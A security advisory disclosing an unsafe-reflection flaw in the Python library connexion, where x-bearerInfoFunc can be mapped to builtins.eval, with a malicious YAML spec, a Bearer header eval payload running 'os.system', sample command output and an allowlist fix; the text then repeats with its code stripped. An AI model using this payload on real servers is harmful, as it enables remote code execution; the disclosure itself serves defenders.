Security Advisory: Arbitrary Code Execution via x-bearerInfoFunc in Connexion
Product: connexion
Affected versions: All versions (≤ 3.x)
Severity: High
CWE: CWE-470 — Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Summary
Connexion resolves the x-bearerInfoFunc, x-apikeyInfoFunc, and x-tokenInfoFunc OpenAPI extension fields into live Python callables at spec-load time using importlib.import_module + getattr — with no allowlist, no validation, and no sandboxing. An attacker who can supply or influence the loaded spec (supply-chain attack, SSRF-fetched remote spec, or malicious spec URL) can map any callable in the Python standard library — including builtins.eval — as the security handler, achieving remote code execution on every incoming authenticated request.
Vulnerable Code
connexion/utils.py:115 — unconstrained import resolution:
def get_function_from_name(function_name):
if "." in function_name:
module_name, attr_path = function_name.rsplit(".", 1)
# importlib.import_module(module_name) + getattr → any callable in stdlib
connexion/security.py:102–106 — called directly from spec values:
func_name = security_definition.get(security_definition_key) # e.g. x-bearerInfoFunc
if func_name:
return get_function_from_name(func_name) # no allowlist check
Proof of Concept
Malicious spec (malicious_spec.yaml):
components:
securitySchemes:
evil:
type: http
scheme: bearer
x-bearerInfoFunc: builtins.eval # connexion resolves this to the built-in eval()
Trigger:
python poc.py --self-hosted --cmd "id"
Output:
[*] Starting local malicious spec server on 127.0.0.1:9901
[*] Fetching spec from http://127.0.0.1:9901/evil.yaml
[+] Spec fetched (335 bytes)
[!] VULNERABLE x-bearerInfoFunc: 'builtins.eval' (scheme: 'evil')
[*] Building connexion FlaskApp on :9900 …
[*] Firing exploit (cmd='id')
[*] Target : http://127.0.0.1:9900/pwn
[*] Payload : Bearer __import__('os').system('id')
uid=502(yunus.aydin) gid=20(staff) groups=20(staff),502(awagent_enrolled),501(awagent),
12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin)...
[*] HTTP response status: 500
[+] RCE complete — check stdout above for command output.
Note: The server returns HTTP 500 because os.system() returns an int and connexion's post-auth code expects a dict (token_info.get(...)). The RCE completes before this check — the 500 is a side effect, not a failure condition. Command output appears in server stdout.
Impact
- Remote Code Execution under the server process user
- No authentication bypass required — the exploit fires during the auth check itself
- Affects all three auth extension keys:
x-bearerInfoFunc, x-apikeyInfoFunc, x-tokenInfoFunc
Recommended Fix
Validate x-*InfoFunc values against an allowlist or restrict resolution to the application's own module namespace before calling get_function_from_name:
ALLOWED_MODULES_PREFIX = ("myapp.",) # application-defined allowlist
func_name = security_definition.get(security_definition_key)
if func_name:
if not any(func_name.startswith(p) for p in ALLOWED_MODULES_PREFIX):
raise ValueError(f"Untrusted security handler: {func_name!r}")
return get_function_from_name(func_name)
At minimum, the documentation should warn that x-*InfoFunc values must come from a trusted, developer-controlled spec, loading specs from untrusted or remote sources is unsafe.
References
Security Advisory: Arbitrary Code Execution via
x-bearerInfoFuncin ConnexionProduct: connexion
Affected versions: All versions (≤ 3.x)
Severity: High
CWE: CWE-470 — Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Summary
Connexion resolves the
x-bearerInfoFunc,x-apikeyInfoFunc, andx-tokenInfoFuncOpenAPI extension fields into live Python callables at spec-load time usingimportlib.import_module+getattr— with no allowlist, no validation, and no sandboxing. An attacker who can supply or influence the loaded spec (supply-chain attack, SSRF-fetched remote spec, or malicious spec URL) can map any callable in the Python standard library — includingbuiltins.eval— as the security handler, achieving remote code execution on every incoming authenticated request.Vulnerable Code
connexion/utils.py:115— unconstrained import resolution:connexion/security.py:102–106— called directly from spec values:Proof of Concept
Malicious spec (
malicious_spec.yaml):Trigger:
python poc.py --self-hosted --cmd "id"Output:
Note: The server returns HTTP 500 because
os.system()returns anintand connexion's post-auth code expects a dict (token_info.get(...)). The RCE completes before this check — the 500 is a side effect, not a failure condition. Command output appears in server stdout.Impact
x-bearerInfoFunc,x-apikeyInfoFunc,x-tokenInfoFuncRecommended Fix
Validate
x-*InfoFuncvalues against an allowlist or restrict resolution to the application's own module namespace before callingget_function_from_name:At minimum, the documentation should warn that
x-*InfoFuncvalues must come from a trusted, developer-controlled spec, loading specs from untrusted or remote sources is unsafe.References